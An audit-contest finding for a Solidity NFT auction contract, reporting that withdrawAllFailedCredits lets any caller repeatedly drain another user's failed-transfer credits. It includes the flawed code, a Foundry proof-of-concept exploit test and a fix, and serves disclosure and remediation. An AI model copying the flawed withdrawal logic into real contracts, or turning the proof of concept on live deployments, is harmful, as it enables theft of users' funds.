Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Access control vulnerability in withdrawAllFailedCredits allows any user to drain other users funds

0xt3sl4

Root + Impact

Description

  • The withdrawAllFailedCredits function should enable users to securely withdraw their own accumulated ETH credits that resulted from failed transfer attempts during auction operations. Each user should only be able to access their own funds.

  • The function implements flawed access control by mixing parameter-based address lookup with sender-based fund transfer, allowing any attacker to specify a victim's address to drain their credits while sending the stolen funds to themselves. The victim's credit balance remains unchanged, enabling repeated theft.

function withdrawAllFailedCredits(address _receiver) external {
// @> VULNERABILITY: Reads victim's balance but never validates ownership
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
// @> BUG: Resets attacker's balance instead of victim's
failedTransferCredits[msg.sender] = 0;
// @> EXPLOIT: Sends victim's funds to attacker
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Risk

Likelihood: High

  • The vulnerability is trivially exploitable with a single function call

  • Failed transfer credits accumulate naturally during normal contract operation

Impact: High

  • Complete loss of funds for users with accumulated failed transfer credits

  • This may cause users to not use the platform due to lack of security

Attackers can drain all ETH credits from any user's account in a single transaction

  • Trust in the marketplace would be destroyed

Proof of Concept

The attacker can stole anyone's funds with calling the function withdrawAllFailedCredits

// Helper function to set failed credits by finding the correct storage slot
function _setFailedCredits(address user, uint256 amount) internal {
// Try different slot numbers for the failedTransferCredits mapping
for (uint256 slot = 0; slot < 20; slot++) {
bytes32 storageSlot = keccak256(abi.encode(user, slot));
vm.store(address(market), storageSlot, bytes32(amount));
// Check if the value was set correctly
if (market.failedTransferCredits(user) == amount) {
return; // Found the correct slot
}
}
revert("Could not find correct storage slot for failedTransferCredits");
}
​
function test_withdrawAllFailedCredits_basic_vulnerability() public {
// Step 1: Create a realistic scenario where Alice gets failed credits
vm.deal(address(market), 10 ether); // Fund the contract
// We'll use a helper function to simulate failed credits
uint256 aliceCredits = 3 ether;
_setFailedCredits(BIDDER_1, aliceCredits);
// Verify Alice has credits
uint256 storedCredits = market.failedTransferCredits(BIDDER_1);
assertEq(storedCredits, aliceCredits, "Alice should have failed credits");
​
// Record attacker's initial balance
uint256 attackerInitialBalance = BIDDER_2.balance;
​
// THE ATTACK: Attacker calls withdrawAllFailedCredits with Alice's address
vm.prank(BIDDER_2);
market.withdrawAllFailedCredits(BIDDER_1);
​
// Verify the vulnerability
uint256 attackerFinalBalance = BIDDER_2.balance;
uint256 stolen = attackerFinalBalance - attackerInitialBalance;
// Key vulnerability proofs:
assertEq(stolen, aliceCredits, "Attacker should have stolen Alice's credits");
assertEq(market.failedTransferCredits(BIDDER_1), aliceCredits, "Alice's credits should STILL be there (the bug!)");
assertEq(market.failedTransferCredits(BIDDER_2), 0, "Attacker's own credits should be reset to 0");
​
// Demonstrate repeated attack
uint256 balanceBeforeSecondAttack = BIDDER_2.balance;
vm.prank(BIDDER_2);
market.withdrawAllFailedCredits(BIDDER_1); // Attack again!
uint256 balanceAfterSecondAttack = BIDDER_2.balance;
uint256 stolenAgain = balanceAfterSecondAttack - balanceBeforeSecondAttack;
assertEq(stolenAgain, aliceCredits, "Should be able to steal the same amount again");
}

Recommended Mitigation

Prevents unauthorized access by ensuring only the credit owner can withdraw their funds. Impact: Eliminates the ability for attackers to specify other users' addresses as the _receiver parameter.

function withdrawAllFailedCredits(address _receiver) external {
+ require(msg.sender == _receiver, "Can only withdraw own credits");
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
- failedTransferCredits[msg.sender] = 0;
+ failedTransferCredits[_receiver] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

cryptoghost Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.